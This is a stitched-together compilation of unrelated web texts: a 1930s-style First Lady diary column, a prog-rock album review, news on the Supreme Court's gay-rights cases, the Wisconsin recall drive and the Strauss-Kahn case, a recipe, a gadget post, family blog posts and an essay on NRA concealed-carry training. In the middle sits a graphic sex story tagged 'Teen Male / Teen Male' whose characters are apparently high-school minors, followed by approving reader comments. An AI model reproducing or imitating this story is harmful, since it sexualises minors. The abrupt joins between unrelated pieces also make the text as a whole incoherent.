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YORK, Pa.—Mr. George William Patterson of Castine, Maine who has sent the President a poem before, has just sent in another one, two lines of which I want to quote:
"Who spares not self, with valor runs his race, so greatly doth he yearn
To serve the people whom true hearts embrace, his country's love shall earn
It does not always seem as though this were true, and yet all public servants might well keep these lines before them, for fickle as is sometimes public approved, in the long run I think they are true of those who give unstintingly of themselves and keep their courage.
Yesterday afternoon we cast political interests aside and turned entirely to the younger generation. James and Betsey's little girl was christened in the house at four p.m. and her sister, Sara, looked on with great interest. Both children woke up Election night when the Hyde Park club came down to seranade the President and instead of being either frightened or cross, they looked out of the window with the keenest enjoyment. When I spoke of this to their nurse this morning and marvelled at their senenity, she remarked that the tears came later before they went back to sleep! Little Kate, named after her grandmother, Mrs. Harvey Cushing, will find it easy to remember her christening day in the future!
James had some difficulty in arriving but he did get here on time with her godfather and one godmother. The other godmother came from New York. Our son, James, felt that because of the campaign in Massachusetts he must stay there last night and be with those who had worked with him, but he was in touch with his father by telephone all through the evening.
This morning early I started for Washington by motor, taking a picnic lunch to eat on the way, and I expect to arrive at the White House by eight o'clock this evening and be more or less settled and ready to meet my husband, his mother and sister-in-law, Mrs. J. R. Roosevelt when they arrive by train tomorrow, Friday, morning.
The next few days will be busy ones.
For some time I have wanted to say a word about a book which I think is going to be very useful in schools and colleges as an addition to the various studies which have been made of professions and occupations which girls and women may follow. This book written in the form of a novel, tells the story of a girl who became a newspaper reporter. It is called: "Peggy Covers the News", by Miss Emma Bugbee of the Herald-Tribune staff. It seems to me a very good piece of work for it shows both the difficulties and satisfactions which come from this particular vocation.


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We've all seen bands who have sounded amazing in concert, only to find out when we go back home and give their CD a listen, the music on disc simply cannot measure up to the live experience. Guapo must be one hell of a live band, because you sure don't feel any real musical potency on their new record. The avant-garde progressive rock trio have been around for over 10 years, yielding six albums, and their latest, Black Oni, continues right where their last release Five Suns left off. It's actually the second part of a trilogy of albums, which basically means it's yet another extended, continual instrumental piece, a five-track, 45-minute suite that mines such sounds as jazz fusion, krautrock, post punk, and late '60s hard rock. If you like vintage King Crimson, there should be no reason not to like Guapo, as the London trio have all the ingredients for a brilliant prog rock band, in a highly talented multi-instrumentalist, a thunderous percussionist, and a versatile guitarist/bassist. That said, there always seems to be something lacking from this band, that one quality that continues to make such great 1970s acts such as Can, King Crimson, and Goblin so enjoyable three decades later: the ability to compose a good, memorable song.
Instead, Guapo just adhere to the prog rock template, and much like what The Mars Volta did on their mesmerizing, yet frustrating single-track album Frances the Mute, there seems to be too much focus on virtuosity, and not enough on the actual songwriting itself. Granted, Guapo certainly know how to put together an all-instrumental album like this one, as Black Oni ebbs and flows comfortably for its entire duration, Daniel O'Sullivan's atmospheric keyboards creating quiet, ambient moments via mellotron, harmonium, and Fender Rhodes, only to be interrupted by sudden squalls of Dave Smith's charging drum fills and Matt Thompson's slicing guitar licks, the two contrasting sounds alternating back and forth. The concept works very well on Track Three (there are no song titles), as the song combines the dark, murky tones of Miles Davis's Bitches Brew (all that's needed is a bass clarinet, and Miles himself), the more laid-back spaced-out keyboard excursions that Can pulled off on Tago Mago, as well as the monstrous, superheavy sounds of late '60s stalwarts Vanilla Fudge, as it all builds to a boisterous climax just past the midway point.
The rest of the album, while not repellent in the least, simply bobs along safely. The 12-minute Track Two careens along at a frantic, Fantomas-style pace, but Guapo's attempt at menacing noise rock simply pales in comparison to the great supergroup. O' Sullivan's musicianship on Track Four is especially impressive, as layers of keyboards intertwine, creating a dreamy, six-minute respite before the entire band re-enters on the lengthy closing track, on which the trio's playing becomes much more forceful, Thompson's rolling bassline laying a modal jazz foundation, allowing Smith to showcase his tremendous drumming ability, and for O'Sullivan to step to the forefront on both Rhodes and mellotron.
Black Oni sounds great, it's very tightly performed, the band displaying the precision, discipline, and pure chops that make a prog trio great, but more often than not, it sounds too much like an empty exercise, something that can perk a listener's ears up every once in a while, but can't quite capture anyone's complete, undivided attention for more than a few minutes at a time. If ever there was a case of an album you have to hear a few times in advance before you buy it, it's this one. Or, even better, you can just skip this one entirely, and start buying any of the exceptional Can reissues, King Crimson's Red, Comets on Fire's Blue Cathedral, or Fantomas's fun Suspended Animation instead. Black Oni is ambitious and moody enough, but is too often is in dire need of some good old flair.
Tibet House's 30th Anniversary Benefit Concert Celebrated Philip Glass' 80th
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"Philip Glass, the artistic director of the Tibet House benefits, celebrated his 80th birthday at this year's annual benefit with performances from Patti Smith, Iggy Pop, Brittany Howard, Sufjan Stevens and more.
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text: CUDS Alumnus Chris Carson (2003) was recently featured in an article in the Biblical Recorder about a new ministry of the Baptist State Convention of NC called the Wounded Warriors Ministry. Chris is a chaplain in the Army and currently serves the Warrior Transition Battalion in the 82nd Airborne Division at Fort Bragg. Please pray for Chris and all of those who serve our country. Click here to read the story.


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In it, but not of it. TPM DC
Gay Rights Set For Blockbuster Week In Supreme Court
By the end of June, nine justices will either advance the cause of gay rights, set it back, or punt on the larger questions, as support for gay equality in various forms rises in the polls.
All eyes are on Justice Anthony Kennedy, who has a pro-gay-rights streak, and to a lesser extent Chief Justice John Roberts, whose legacy will be shaped by the ruling.
"There have been two decisions in American history expanding rights for gays and lesbians. ... Anthony Kennedy wrote the opinion for the Court in both," Erwin Chemerinsky, a constitutional law professor at UC-Irvine School of Law, told TPM recently. "He knows where history is going and that he faces the choice between writing the next Plessy v. Ferguson and the next Brown v. Board of Education. He wants to be on the right side of history."
Among court watchers, the prevailing expectation is for DOMA to be struck down, an outcome supported by various corners of the legal and political spectrum. The decision is about whether or not to equalize federal treatment of married heterosexual and same-sex couples.
Prop 8 is harder to predict -- and its implications trickier. The favored outcome among gay rights advocates is one where the Court recognizes a constitutional right to marry and overturns all state bans on gay marriage. The justices may also overturn Prop 8 on the particulars and leave other bans intact. Or they may decide that states are free to prohibit gay marriage. The first option would all but remove the issue from the political arena; the latter two would likely incite a series of long and contentious battles in states.
The justices will hear the two cases amidst a national revolution for gay rights.
Support for legalizing same sex marriage has quickly become a litmus test in the Democratic Party after President Obama championed the cause last summer. And even some Republicans are slowly coming around: In recent weeks, Sen. Rob Portman (R-OH) has come out for gay marriage and the Republican National Committee has recognized the "generational differences" on (read: growing support for) gay rights.


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Second Draft of an Autobiography
Fiction, Anal, Blowjob, Gay, Romance, Teen Male / Teen Male
Author's infos
Gender: male Age: N/A Location: N/A
Posted Sun 30th of November 2008
I spent more effort this time. Hope you like it!!
Second Draft of an Autobiography
I woke up with a jolt.
An electric surge squirmed through my body like a…
It was indescribable.
heart fluttering
head pounding
skin crawling
lungs quaking
gasping for air.
I was in love!
It was frightening!
I tried to keep still so as not to disturb Ryan, still snoring on top of me, cuddling into my chest; his body making me sweat with heat and nerves.
I looked down at him, following the smooth contours of his body, from his shaggy head, down the groove of his back to his ass, sticking nakedly up in the air as his soft dick pressed against my own.
What had I done!?
His arms rose up and looped around my head to pull his face to mine. He sighed contentedly and then fell back again, resting his cheek awkwardly against my face.
I laughed quietly, but he still woke up pouting.
"What's so funny?"
I shrugged. "Nothing." I let my lips brush across his neck as he rose up off my stomach, his chest heaving tiredly, six-pack flexing. My cum that had glued our chests together dried and flaked and stretched disgustingly.
"You're gross." I chuckled, looking adoringly at him as he sat on my chest. I'd slept with his naked body on top of mine all night and my body felt cold without his.
"Hey, it's your fault. This is yours!" He began playing with my cum, rubbing it around his body like war paint.
"You're horrible. I'm washing it off." I rolled off the couch and we fell in a tangle of limbs and blankets onto the floor. We laughed and wrestled, our bodies unconsciously working their ways closer and closer until we were kissing, tumbling around the room, quickly rediscovering the sexual hunger we'd felt last night.
I broke the kiss and stood. He reclined, watching my body as it moved, grinning like he had a secret.
"Shower." I announced, then turned and walked to the small bathroom adjacent to his room. I knew he was watching my ass the entire way there.
The water burned me as it cascaded down onto my skin, but I turned it up until the entire bathroom was filled with steam so that I couldn't see anything and barely could breathe.
I thought about what we had done…
Ryan was gay…?
Was I?
I thought back to my various experiences with girls. I had enjoyed them. But I had never hungered,
, for them like I had for
Through the clouds and steam, I heard the bathroom door slide open and a hot, naked boy climbed into the shower with me. We found each other's lips and pulled our bodies close together beneath the boiling water.
"What should we do?" I asked as we stood together.
"I dunno. You wanna go again?"
"I didn't mean with each other. I meant… about other people."
He pulled back and looked into my eyes, holding my face in his hands.
"You want to be publicly gay?" He asked frowning.
"Not really." I answered, unable to meet his gaze, "But things have definitely changed, don't you think? We had sex, Ryan. We
He grinned devilishly at that. "You're so sexy when you say it." He pushed me up against the wall and snuggled into my chest, grinding our groins together. "Let's give it a day, to see how we are."
I sighed and began to wrap my arms around him, but he slipped away and attached his lips to my chest, working his way down my body.
Again, I had butterflies in my stomach as he held my balls in his hands and my quickly stiffening dick in his mouth. He squeezed agonizingly and bit the skin around my dick, his hot breath somehow hotter than the water around us. Then, without warning, he lined my cock up with his mouth and impaled himself with it, almost gagging, forcing my rock hard dick into his throat and licking my entire thick, seven-inch shaft with his rough tongue.
My eyes closed and my head lolled back with a big smile on my face. This feeling should be banned. This pleasure should be forbidden.
His throat became accustomed to my size and expanded, allowing him to bob back and forth, effortlessly deep-throating me. Ryan backed off a little bit, sucking properly now, concentrating on his work.
I held the back of his head tenderly, running my hands through his hair as my body still overloaded with sensation, unafraid to moan loudly, showing him how much I loved what he was doing for me.
"Aah… ah, fuck, Ryan…"
"Hmm?" The vibrations ran down my cock, giving me more butterflies.
"You're a fucking wonder." My body bent over as I came closer to an orgasm. Ryan backed off even more.
"You coming close?"
"Yeah." I managed to grunt out. I grabbed the back of his head again and he let me guide him back onto my cock. I was fucking his face now. I was thrusting his head hard and deep onto my dick as I braced my self against the shower wall, the water growing suddenly too hot to feel, my muscles spasming and cramping and contracting, my eyes shutting, I'm screaming?… yelling?… maybe I'm silent.
My balls exploded into Ryan's mouth, cum streaming out of my dick in thick, creamy ropes. All of my strength had left, so Ryan propped me up with his shoulders and placed his big hands on my ass, securing my streaming cock in his mouth as he swallowed the cum hungrily, still sucking and licking my dick for every drop.
Ryan blindly extended a hand and shut off the scorching water, leaving us in a sodden pile in the tub, me panting for breath, and him licking his lips. When I was able to move again, I tried to simply look at him, but I acted unconsciously, pulling his face to mine so that we could kiss again.
Our steaming wet, naked bodies grinded sensually against each other as we kissed out in the tub. His long, hard cock finding my ass again, and slipping inside effortlessly.
Despite our promise, I let him fuck me. I wanted it. I couldn't resist it.
I wrapped my arms and legs around his back for support as I tried to let him as deep as possible into my body. Ryan's eyes were closed in deep concentration, and I craned my neck up to kiss them.
Instead of lubricating his thick cock, the water caused more friction, so it was hardly any time at all until his eyes shot open and he nodded. Almost there.
I couldn't suppress my smile. I wanted him to feel good. I wanted
With a groan of pleasure and effort, he wrapped his arms around my curled-up form and stood up with his back against the wall and my legs around his ass. He thrust up into me hard and fast, again and again, until without warning, I felt him tense, and his cock give a lurch somewhere deep inside me.
For the second time, Ryan came inside of me, and I felt the sperm shoot against my rectum walls, filling up my plugged ass.
"You're gorgeous when you're fucking me." I told him. He looked down at me, his eyes half hidden by wet hair.
"You look gorgeous when I'm fucking you." He replied.
"I guess we're both beautiful people."
"You guys took your time waking up this morning."
"We were up all night partying." I said, wearily climbing down the stairs to see Ryan's dad, Fred, already in the kitchen. The man snorted. He thought I was a good boy.
"There's some cereal in the pantry. Eat what you want."
By the time Ryan had come down after calming down and getting dressed, his father had already gone to work. He sat next to me and we ate in a drowsy silence for a while.
"What's up for today?" I asked, talking into my Cheerios, rather than him.
"When do you go home?"
"Whenever. My parents don't get back until late tonight. But I DO have some school stuff to do, so we can't just fuck around all day."
Ryan snickered. I punched his shoulder, grinning.
"You know what I mean."
We ended up spending an hour just eating breakfast before we finally got to work on his car; a green Mercedes convertible. When we'd worked up a greasy sweat, we stripped down and headed to the small pool where we just chilled for a while.
Ryan held my body in the water and inspected each of my muscles like a curious child.
"You're hot." He told me.
"Hey, you can look, but not touch."
He gave me that devil's grin. "Too late."
I drove us to the new mall near my house when we got back, and we just walked around for a while, grinning and joking and bumping into each other like fools.
I was nervous to be in public whenever he would grab my hand and pull me around, or put an arm around my shoulder and give me a hug. I was nervous in private too, whenever he would wrap his arms around my waist and pull me close, or come up behind me and kiss me out of the blue…
My heart ached when he did stuff like that.
I didn't want to be in love.
We both collapsed onto each other on the living room couch when we got back to his house. It was getting dark, and we'd both eaten a box of pizza bites and drunk a half-bottle of rum from the pantry.
"Your breath smells good."
"Your breath is
I slapped him playfully, falling on top of him, kissing his face.
"What do you wanna do now?"
He chuckled and I felt a hand snake down between our bodies and worm its way into my pants.
"I know what
in the mood for." He kissed me back now, massaging my hard dick through my boxers.
I moaned in protest and pleasure. "When does your dad get home?"
As if on queue, the front door opened, and the two of us leapt off each other, and scrambled to opposite sides of the couch. Ryan's father laughed loudly as he saw the two of us, red-faced and panting, staring at him from the couch like deer in headlights.
"You two wrestling in the house?"
Ryan and I looked at each other.
"Something like that."
He turned into the kitchen and began setting his stuff down.
"Don't break anything important." He called from the other room.
"We won't!" we called back, already escaping up the stairs, back to Ryan's room.
! That scared the shit out of me!" He whispered into my ear as we closed and locked his bedroom door.
I laughed nervously.
If we had been caught by his dad, I probably would have died. My head would've just exploded right there.
We were both too spooked to continue where we had left off, so I sat on the couch with Ryan on my lap and we played video games for a while.
"I liked spending today with you." Ryan told me without taking his eyes from the television. I'd been distracted the entire time. Every time he killed another player, he did a little dance on my lap, grinding his ass into my groin.
"Yeah." I mumbled. He pivoted around to face me, unsatisfied.
"You don't love me, do you?" he draped his warm body over me in a bear hug.
"I—I do…" I sighed. "It's difficult." I squirmed under his gaze.
"Is it me?"
"No! It's not. I'm just…"
He grinded angrily on my lap again, both of us hard and sweating, despite the tension.
"You don't know if you're ready to be gay." He told me, an understanding smile glowing on his face.
I nodded meekly.
"I can help you decide, then."
He began to move purposefully back and forth, working my thick cock in between his ass cheeks, separated only by two pairs of basketball shorts. Our arms wound through each other's hair, our lips connected, our tongues explored.
My shirt had worked its way up, and he dived down to attack my stomach with his mouth, lifting my shirt off until it was discarded onto the floor, followed quickly with his own.
He lay on top of me on the couch, our mouths waging war again, our legs rubbing and twisting together, our groins thrusting and grinding like caged animals. Our bodies fit perfectly together. It was like music.
"It's your turn today." He said.
"Damn right it is."
He laughed. "But my ass is gonna need some preparation."
We flipped over so that he was on his stomach, and I pulled down his shorts, revealing his perfect little ass. He was smooth and hairless and perfect.
He was perfect.
The moment my tongue began licking his asshole, Ryan's back arched, and a hand pushed the back of my head deeper into him. He moaned and squirmed as I worked his hole.
"Holy fuck, Ben. That feels fucking amazing." He groaned again. "Fuck, Ben!"
I lifted him up, and he lay on my stomach again, ass in the air, ready for my fingers to penetrate him.
I loved how his body felt against mine. His face against my chest, my hands on his ass, his hands pumping my cock inside my shorts.
I slid a long finger in his wet hole, and his body shook, pressing against mine.
"You like that?" I asked him.
"You want more?"
He kissed me in reply.
I laughed, taking my finger out of his ass and letting him slide my shorts all the way off. He held my long dick up in the air, and sucked on it just enough to wet it, then climbed back on top of me.
He felt my hunger now, I knew. He needed to feel me inside of him, filling him up. My cockhead pressed hard against his asshole, and I watched his face twist with pain. But he wanted it.
I wanted him.
Slowly, agonizingly, he pressed himself down onto my thick cock, moaning in pain as the pressure built. His eyes were screwed tightly shut, his teeth grinding and snarling.
Without warning, he suddenly slipped, his asshole opening wide, and his body sliding down my seven inch pole to the hilt, his balls colliding with my abs. Ryan's mouth seemed to open in slow motion, forming impossible words, his eyes burning holes into my own. His body shuddered in horror.
But I was in heaven.
My dick was enveloped his tight ass. The heat was unreal. The butterflies in my stomach growing into a wild shudder that vibrated through my entire body.
Ryan's face was red and covered in sweat, but he had calmed down, and forced a thin smile just for me.
"You'd better thank me for this." He managed to say. "You'd better fuck me good."
Slowly, I pulled down out of him for a few inches… Then pushed back in. Again.
I fucked him slowly. Leisurely.
"Not good enough." He panted, pushing me down flat on my back.
He began moving by himself, eyes closed again in concentration, hips gyrating back and forth like a lap dancer, dick hard and swaying as he moved his ass around my dick.
Quickly, I lost the power to move, the pleasure was so great. All of my nerves centered around my dick and balls as he let his ass slide smoothly up and down. He was loving it now, and sped up, flexing his ass, increasing the friction against my dick as his ass slapped against me again and again.
"You love me now?"
My eyes opened, and I watched that beautiful boy ride my cock. He wanted me to love him. That's all he wanted.
As he came down, I held his hips still and moved so that he was lying back against the couch with his legs over my shoulders and I was able to lean in to kiss him.
"Hey." I nibbled on an ear.
"I love you, Ryan." I told him. "Who the fuck cares about the rest of the world?"
He giggled like a little boy. "I do… A little."
"Quiet." I silenced him with my mouth, kissing differently before. Not hungrily.
I wanted to be with him.
I thrust hard into his ass again, and he moaned loudly and wrapped his arms around me, pulling me deeper into him.
I increased the momentum, and let my body take over. Let our firm stomachs press together and slide across his dick between us. Let our mouths spell out how we felt as I pounded my dick faster and deeper into his gaping ass.
His breathing grew ragged as I sped; the heat growing, perspiration dripping from my hair onto his chest as we fucked.
Ryan mumbled something, but it was lost in a sweet moan as I thrust into him.
"Cumming." He croaked.
Sweat ran down his face. I wiped it off, then kissed him.
"Go for it."
At once, his body seized with electricity, all of his muscles flexing impressively as it strained. His dick exploded, spitting milky cum straight up onto my chest and chin.
As he came, his rectum walls pulsed and contracted around my dick, throwing my senses into blissful chaos. I grabbed his waist and thrust powerfully up into him, making him scream.
Cum streamed out of my dick into his ass for an eternity. Thick ropes of it flowed out of me, filling him up, and then ran down his ass and my leg.
My vision and hearing blacked out, and I wasn't sure where I was.
All I knew was who I was with and how he was making me feel.
"Happy now?"
I draped my soaking, naked body over his, and we kissed again contentedly.
"You wanna be my man?" He asked me, wrapping me up in his arms.
"Sure." I shrugged.
"But you'll have to learn to loosen up a little."
I guess it was love after all.
{Maybe I'll continue!!}
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anonymous reader
2011-09-19 13:42:51
man.... gotta be 17th time i'm readin this series.. it just doesn't get old... every time i read it i get butterflies in my stomach!!! really gr8 man you shud write more!!
anonymous reader
2011-06-29 12:02:27
I supopse that sounds and smells just about right.
2010-06-19 11:17:11
Reading though a couple of comments, ppl r like "no dad" but i thought it was kinda hot that u nearly got court.
Anonymous reader
2009-10-09 02:22:21
yes this is so romantic kinda reminds me of me and my boyfriend.....first i was nervous about coming out then i was lovey dubby and he was just like its okay to be gay but now he is lovey dubby too
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and back at home...
Squid chilling out...
and "finally" Viper taking a break.
Who would a thunk it!
Funny, funny pics.
my heart melts every time I see pics of your dogs!!! they are absolutely precious!
he is certainly very entertaining. And cute too :)
wow i don't think i've ever seen him chilling out...lol!!!
those boys are just too cute for words!
smoochies the scrunchy faces
and their various antics. They are so special! Viper can come to this Grandma's house and get into trouble any time he wants.
I love that even when Viper chills out he has one eye open so he doesn't miss anything!!
he's like "WTF are you doing under there?" ..
I bet there isn't!!! LOL! Silly boy, but at least he lives life to the fullest!!!
Amy and Sophia


text: This Little iPad Stand Can Still Do a Lot of StandingKyle VanHemert8/30/10 2:40pmFiled to: ipadPadfootIpadstandAccessoriesIpadsAppleStandsMichielCornelissenCornelissenDesign70EditPromoteShare to KinjaToggle Conversation toolsGo to permalink There's a good number of nice iPad stands—most recently Twelve South's Compass—but at some point you have to ask yourself how much stand is too much. The PadFoot does the job and stays out of the way. Produced by Michiel Cornelissen, the minimalist maverick behind the Pod à porter iPod Nano necklace, the PadFoot is a single piece of 3D printed polyamide that weighs only 15 grams. But it'll still stand your iPad proudly in portrait or landscape, or provide a bit of crucial leverage if you're typing on a flat surface. I'm not sure how sturdy the single foot design will be—Cornelissen says it should be used on a totally flat surface, so it might not be ideal for that bedtime Hulu sesh—but if you're looking for a simple, lightweight stand to toss in your bag, you can buy the PadFoot through Shapeways for about $30. [Shapeways via michielcornelissen]Reply70 repliesLeave a reply


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Even my kids like this hearty, stick-to-the-ribs dish. I like to add cubed leftover ham to make it a main dish. —Megan Taylor
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- 1-1/3 cups uncooked rice
- 2-1/2 cups chopped green peppers
- 2 cups chopped onions
- 4 garlic cloves, minced
- 1 tablespoon olive oil
- 1 to 2 tablespoons Cajun seasoning
- 1/2 teaspoon salt
- 1/4 teaspoon pepper
- 2 cans (16 ounces each) kidney beans, rinsed and drained
- 1 can (10 ounces) diced tomatoes and green chilies
- 1 cup water
- Cook rice according to package directions. Meanwhile, in a large saucepan, saute green peppers, onions and garlic in oil until tender. Add the Cajun seasoning, salt and pepper. Cook and stir for 3 minutes.
- Stir in the beans, tomatoes and water. Bring to a boil. Reduce heat; cover and simmer for 10 minutes. Uncover; cook for 5 minutes. Serve over rice. Yield: 4 servings.
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The petition drive to recall and remove Wisconsin Governor Scott Walker has surpassed all expectations, collecting one million signatures in just 60 days. The signatures represent the largest recall effort in the history of the United States.
Petitioners were only required to collect 540,000 by law. They far exceeded this number, making a successful legal challenge of the recall highly unlikely. Volunteers also gathered 845,000 signatures to recall Lieutenant Governor Rebecca Kleefisch and additional signatures to recall four of the state senators who voted for Walker's collective bargaining bill in March 2011, creating a mountain of paper estimated to weigh over one ton.
As for Walker, he attended a New York fundraiser hosted by no less than Hank Greenberg, the former CEO of American International Group, according to Mother Jones.
Wisconsin Recall Will Make History
The numbers coming out of Wisconsin are stunning. Of the 19 states that permit the recall of governors, Wisconsin has one of the highest thresholds. For governors (and legislators), recall organizers must gather signatures equaling 25 percent of the turnout in the previous election for the office. That means organizers faced the daunting task of collecting 540,000. To avoid losing the election through signature challenges, signature collectors wanted a "cushion" of additional signatures, so they set a goal of 720,000 signatures. They surpassed even that goal.
When California governor Gray Davis was recalled in 2003, residents collected 1.6 million signatures out of 21.1 million eligible voters or approximately 7.6 percent. In Wisconsin, 25,000 trained volunteers had 60 days to collect approximately 1 million signatures from 4.37 million eligible voters or approximately 23 percent. Plus, 1 million is almost half of the votes cast in the 2010 Wisconsin gubernatorial election. Wisconsin volunteers did it with less money, over the holiday season and in the depths of winter.
As a heavy snow fell on Wisconsin, volunteers explained that the 3,000 pounds of petitions would be delivered to the non-partisan elections board in trucks escorted by armed security guards. Volunteers from United Wisconsin, the grassroots organization that took charge of collecting the signatures, have designated two volunteers from each of Wisconsin's 72 counties to hand carry a box containing a portion of the petitions to highlight the fact that the work took place in every corner of the state.
Red State Blue State
In the months to come, the remarkable story of the recall organizers' massive, grassroots, signature-collecting drive is likely to be lost to the unprecedented sums of money the campaigns and the independent expenditure groups will raise and spend, and to the charges and counter-charges that will volley back and forth as they do in all elections, but today recall organizers celebrated.
Tina Nelson, a Dane County Coordinator for United Wisconsin, said she was "unbelievably excited," but also "wondering what to do with myself" now that she did not have thousands of emails to send and volunteers to organize. In Dane County, the liberal bastion surrounding Madison, volunteers collected an estimated 160,000 petitions.
But signatures came from red as well as blue areas of the state. In conservative Walworth County, represented by Rep. Paul Ryan in Congress, volunteers collected an estimated 10,000 signatures, 2,000 more than their goal. "I am feeling pumped, optimistic and gratified," said Ellen Holly, a United Wisconsin coordinator for the county. "But deep down, I am also a little bit angry and sad. I have never lived somewhere where I had to recall my government before," she explained.
Volunteers in the small town of Burlington, which voted to support George W. Bush and John McCain and strongly backed Scott Walker in 2010, collected over 6,000 recall signatures from the area. Mary Ann Staupe, a retired school teacher, explained why people signed: "I asked every person who came into [the Burlington] office. Every person added another piece to the puzzle. Collective bargaining was just the tip of the iceberg. People were also concerned about neglected schools, neglected infrastructure, health care changes that hurt the poor and the disabled. Many people have friends and families in those situations. It was a huge tent."
In Delavan, Scott Walker's home town, volunteers set up shop in "Circus Park" in the town's tiny main square, where a towering statue of a giraffe watches cars roll by. On the first day that volunteers circulated petitions "we created a traffic jam. People were whipping up in their cars like NASCAR trying to be among the first to sign. Delavan was our 'hot spot' for a very long time," said Holly.
For Peggy Ellerkamp, a high school librarian, signature gathering felt more like a civic duty. "Walker has caused so much damage in less than one year," Ellerkamp said, referring to Walker's anti-union budget repair bill, $1.6 billion in public school aid cuts, Wisconsin's precipitous job losses, and the general climate of despair and anger in the state. "Just think what he can do if we don't get him out of there by end of his first term."
Making a List, Checking it Twice
The unofficial estimates coming in from around the state are impressive. Over 14,000 from Sheboygan County (6,000 above the goal) and 9,000 from Manitowoc County (2,800 more than the goal). Although Wisconsin Republicans have been raising the specters of "Mickey Mouse" signing petitions multiple times, the petitions were checked and rechecked.
Volunteers described a meticulous process by which signatures were reviewed first by the circulator, then by the local recall office, then in a regional recall office, then at the Madison headquarters. Volunteers were first looking to make sure the record was complete and correct. They also scanned for questionable names and other mischief. No one I spoke to reported any problems other than the occasional "WI" in the zip code spot. "We wanted to do it right, we knew that every signature had to count," said Staupe, who described the process as "arduous." In Madison, the recall office apparently entered all the records in the computer in an attempt to scan for duplicates.
Walker Team Petitions Court to Delay
The latest employment figures show Wisconsin lost 14,500 jobs in November. The latest poll shows that support for the recall is around 58 percent, up from 47 percent in the spring. For Scott Walker's lawyers, delay appears to be their strategy. During that delay, Walker can continue to raise unlimited campaign funds and has already brought in close to $5 million, approximately half of which is from out of state.
In a normal recall, lawyers representing the candidate targeted for recall would review each signature and challenge any that seem inappropriate or unclear. Each challenge would be considered by the nonpartisan elections board. That is the way recalls have been handled in Wisconsin for decades, but even with 5,000 volunteers at the ready to review signatures, the Walker camp decided to bring a lawsuit to change standard procedure and lay the burden of the recall review on the small state elections board. On January 6, they succeeded in convincing a court to order the elections board to conduct a costly review. Kevin Kennedy, the head of the elections board, testified that entering signatures into a database and looking for duplicates could take eight extra weeks for his staff or might require the hiring of an outside computer firm.
Yesterday, Kennedy told the press, "we used to say that we could see an election as early as late May, but now we just don't know." An eight-week delay when the numbers are so overwhelmingly in favor of the petitioners is likely to spark a court challenge of its own. Some anticipate that the whole issue is likely to end up in the hands of the Wisconsin Supreme Court, no stranger to partisan bickering and controversy.
Putting off worries about the future and the massive amount of work ahead, thousands of recall volunteers prepared to party tonight at Frank Lloyd Wright's Monona Terrace, the site of Scott Walker's 2010 inaugural.


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Lawyers representing the woman who accused former IMF chief Dominique Strauss-Kahn of sexual assault have asked Manhattan District Attorney Cyrus Vance to withdraw from the case and appoint a special prosecutor, saying Vance's office had leaked damaging information about her.
"District Attorney Vance, we ask in earnest that your office voluntarily recuse itself from the Strauss-Kahn case and that you appoint a special prosecutor," Kenneth Thompson, the lawyer for the 32-year-old hotel maid from Guinea, wrote in a letter dated Wednesday.
Reuters obtained a copy of the letter after defense lawyers for Strauss-Kahn met with prosecutors from Vance's office for nearly two hours on Wednesday as the case against him appeared in serious jeopardy.
Both sides declined to give any details of the meeting. The New York Times had reported they would discuss whether the charges could be resolved by a dismissal or plea agreement.
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He was in St. John the Baptist Parish by March 1760, when he sold land to Antoine Leche. He drowned in the Mississippi in 1789, apparently on the way down to New Orleans, on 4 August (according to the inventory of his property or 8 August (according to his burial record.
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It amazes me to this day how some people end up at this blog…
"Dear Ben-
I happened to come upon your blog when I was surfing the Cornell website. I went to Cornell with your mom and dad from the class of 1982. My husband and I (also a Cornellian and Aggie) haven't seen you and your family for years since we came to visit to your house in Situate (sp?). My son transferred to Cornell last semester and is a soph in the Ag school (IARD major). My other son goes to SUNY Cortland, lives in Ithaca in Commons and will be transferring to Cornell in the fall. We all plan to be at our 25th reunion in June. I lost touch with Linda and Mark. Can you forward them my email address please? I see that you are a senior now and doing well- WOW- good for you.
Thanks alot!
Best Regards,
Julie xxxxxx (and a member of the "pancake house family" who worked for your fun mom and dad when they were at Cornell- boy do I have stories to tell!!!)."
The pancake house is a place that used to occupy what is now the Noyes Language Lab. It was, quite literally, a pancake house in the fashion of IHOP (from what I gather.) Unfortunately for many current students, it has ceased to exist.
Enjoyed reading your blog about your life and activities.
Glad to hear you are doing well and i'm sure you will do well in the marine corps.As you probably know you come from something of a military background. Your grandfather Ed (my brother) served with and saw action with the 13th Armored division in France and Germany during WWII. He was a corporal T5 at one time.Your great grandfather Raymond served with the US Field Artillery in Fort Jackson S.C.in 1918 but never made it to France as the war ended. My brother Michael served with the 7th Infantry Div.in Korea during that war.I served with the 86th Infantry Div. in WWII in France,Germany and the Philippines as a buck sergeant,squad leader of a 60mm mortar squad. I was woumded(purple heart-bullet wound in the shoulder,near Cologne Germany in the Ruhr Valley).you may know all this but i thought i'd renew it for you. regards and best to you ,great uncle,Ray
This is interesting since I don't typically consider myself as having a military background. But, this email was quite impressive and filled me in on a lot of things that I did not know about.
I also ran into a Cornell alum from Psi U this past weekend, class of 1979. He told me that he has read my blog a few times as well. That has been the coolest part of writing this blog – running into all of these people who actually read it.


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Far from the halls of Congress, the press conferences and the TV talk shows, there is a different kind of gun politics happening in America. It isn't about which gun to ban or what the 2nd Amendment "really" means. Instead, it is about everyday fears and risks, both real and imagined, and the very personal decision to carry a gun for self-protection.
According to the U.S. Bureau of Justice Statistics, there are at least 8 million Americans licensed to carry a concealed gun today. The National Rifle Association is the national leader in training those who choose to get such a license. Whereas major anti-gun efforts such as the Brady Campaign to Prevent Gun Violence operate at the policy level, away from most people's concrete fears and concerns, the NRA is hands on: More than 750,000 Americans go through some kind of NRA training every year.
In 2010, I was certified as an NRA trainer as part of my research on gun politics. I was in Michigan, where more than 300,000 state residents -- one in 25 -- are licensed under the state's "concealed carry" law. In Michigan you can conceal a pistol on your hip, in a shoulder holster or in a purse as you buy groceries, grab a cup of coffee or go to the library.
There are regulations -- you must have a clean criminal and mental health record, you have to be 21, and even with the license, you cannot carry concealed guns in schools, day-care centers or churches. You also have to pay an NRA-certified trainer as much as $150 and spend eight hours meeting a training requirement.
Today, Michigan's concealed-carry law is the rule, not the exception. In 1970, only four states allowed citizens to carry concealed weapons on a "non-discretionary" basis, meaning applicants did not have to provide a specific reason for obtaining a license. Now 40 states have such laws.
The NRA has played a key role in pushing for these laws, which not incidentally provide a pathway for NRA recruiting. Most of these laws implicitly or explicitly require people to get NRA training. In Iowa, the NRA opposed proposed alternative legislation that removed the training requirement. And once the bill it favored passed, the NRA issued a "call to arms" to rapidly increase the number of certified NRA instructors in the state.
